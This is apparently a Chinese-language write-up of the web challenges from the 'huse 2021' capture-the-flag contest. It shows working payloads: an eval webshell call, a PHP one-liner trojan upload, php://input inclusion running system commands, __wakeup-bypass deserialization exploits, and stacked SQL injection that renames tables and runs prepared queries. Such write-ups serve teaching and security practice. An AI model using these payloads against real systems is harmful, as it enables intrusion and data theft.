# huse 2021 ctf

# 0x01 web

# 1. web_signin

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_POST['b'];
if($a=="huse" && $b == "CTF"){
echo $flag;
} else {
echo "hello,do you know how to sign in?";
}
?>

分析源码

题目要求 传 a 和 b 且 a 的值为 huse b 的值为 CTF

a 采用 get 方式传参 b 采用 post 方式传参

image-20210425163233493

# 2. button_login

image-20210425163507068

去除限制

发现提示 you are not login!

用 burpsuite 抓包查看

image-20210425173157905

将 islogin 修改为 1

成功获取 flag

# 3. rbt_cmd

打开页面提示 robots 访问 robots.txt 获取 cmd.php

shell.php

1
2
3
4
<?php
show_source(__FILE__);
@eval($_GET['shell']);
?>
1
?shell=system("tac%20config.php");

# 4.easy_upload

f12 查看源码发现有上传框鼠标移到中间位置出现

发现白名单 jpg,png,jif

打开 burpsuite

准备好一句话木马上传,将文件改为 xx.php

image-20210425173953923

获得目录 用 antsword

# 5.include

1
2
3
4
5
6
7
8
9
10
11
<?php
$page="pdata://hp://";//data
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
while (strstr($page, "data://")) {
$page=str_replace("data://", "", $page);
}

echo $page;

1
2
3
4
5
6
7
8
9
10
11
12
GET /?page=pdata://hp://input HTTP/1.1
Host: 222.243.204.5:28082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=f740e33b-f09b-4df7-a5bb-097cc1a9c9aa.dCC8kTElFu66NS7LYainSbq7dlE; isLogin=0
Connection: close
Content-Length: 47

<?php system("cat husectf2021_1e90751f.php");?>

# 6.unserialize

# CTF 中的序列化与反序列化

记一些 CTF 出现的序列化与反序列化的知识点和题目。

# 序列化和反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

# 序列化中常见的魔法函数:

1
2
3
4
5
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 将在序列化之后立即被调用

# 看一串字符串

1
2
3
4
5
6
7
8
9
10
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值

# 访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

1
2
3
4
5
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名

就像这样

1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化

# 绕过__wakeup () 函数

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup 的执行。

1
2
//将上面的对象属性个数值改成逼真实个数打
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

测试 demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $name = 'husectf2021';
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo "hello," . $this->name;
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the husectf2021.php
$this->file = 'index.php';
}
}
}
$A = new Demo('husectf2021.php');
$C = serialize($A);
var_dump($C);
$C = str_replace('O:4', 'O:+4',$C);//用+4 (绕过)preg_match
$C = str_replace(':2:', ':3:',$C);//绕过wakeup 大于个数即可绕过 5,6都可
var_dump($C); //打印变量信息
var_dump(base64_encode($C));

?>

将 base64 编码传入获得 flag

# 7.husesql

输入 1’报错 推断存在 sql 注入

输入 1‘ and ‘1’='1 放回正确

1’ order by 2 – 正确 1’ order by 3 – 报错 推断字段数为二

1’ union select 1,2 报错提示过滤了

1
select|update|delete|drop|insert|where|

发现存在堆叠注入

1’;show databases;# // 堆叠 查数据库 -1’ and extractvalue (1,concat (1,version ()))-- + // 获得数据库名称

1’;show tables;# 查表

1’;show columns from ise_lab_2021husectf;# 查字段

-1’;show columns from words#

words 应该为默认查询表

方法一 。将要查询的 flag 字段改为默认表

添加一个 id 字段,并将其设置为主键和自动增加,以确定值的存在

-1’;ALTER TABLE ise_lab_2021husectf ADD (id int(11) primary key auto_increment);%23

1’;show columns from ise_lab_2021husectf;# 查看是否添加成功

将 flag 字段改名为 data

1
2
3
alter table words rename to aaaa;先把原来的words表名字改成别的,随便改都行
alter table ise_lab_2021husectf rename to words;将表ise_lab_2021husectf的名字改为words
alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,

=1’; alter table words rename to aaaa;alter table ise_lab_2021husectf rename to words;alter table words change flag id varchar(100);#

1’ or 1=1#

方法二。 用拼接构造请求

CONCAT 函数用于将两个字符串连接为一个字符串 例如

1
2
3
4
5
6
7
SQL> SELECT CONCAT('FIRST ', 'SECOND');
+----------------------------+
| CONCAT('FIRST ', 'SECOND') |
+----------------------------+
| FIRST SECOND |
+----------------------------+
1 row in set (0.00 sec)
1
-1';use supersqli;set @sql=concat('s','elect `flag` from `ise_lab_2021husectf`');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+

PREPARE 为预处理

方法三,handler 查询

1
2
-1';handler `ise_lab_2021husectf` open;handler `ise_lab_2021husectf` read first;#

# 8.unserialize2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
final class User
{
private $userData;

public function __construct($loginAttempt) //创建对象时调用 将值传给loginAttempt
{
$this->userData = unserialize($loginAttempt); //调用反序列化
if (!$this->userData)
throw new InvalidArgumentException('Unable to reconstruct user data');
}

private function verifyUsername()
{
return $this->userData->username === 'husectfer'; //判断username
}

private function verifyRandomVal()
{
$this->userData->randomValue = random_int(1e10, 1e11 - 1);
return (int)$this->userData->rnd === $this->userData->randomValue;
} //构造 return放回结果为真

public function verify()
{
if (!$this->verifyUsername()) //调用verifyUsername() 判断
throw new InvalidArgumentException('Invalid username');

if (!$this->verifyRandomVal()) //调用verifyRandomVal() 判断
throw new InvalidArgumentException('Invalid random token value');

return true;
}
}

if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //base64解码
$user = new User($var); //创建一个新的user类
if ($user->verify()) { //如果verify验证通过放出flag 要同时满足 v和v1函数
highlight_file("flag.php");
}
} else {
highlight_file("index.php");
}

代码审计 要构造 username === husectfer rnd=randomValue

贴出构造代码

1
2
3
4
5
6
7
8
9
10
11
<?php
$x = array();

$x['username'] = "husectfer";
$x['randomValue'] = random_int(1e10, 1e11 - 1);
$x['randomValue'] = 0;
$x['rnd'] = &$x['randomValue']; //将randomValue的地址赋给rnd使其达到相等目的

echo (serialize((object)$x)); //object 将其他类转换为对象
echo base64_encode(serialize((object)$x));
?>

image-20210425204906284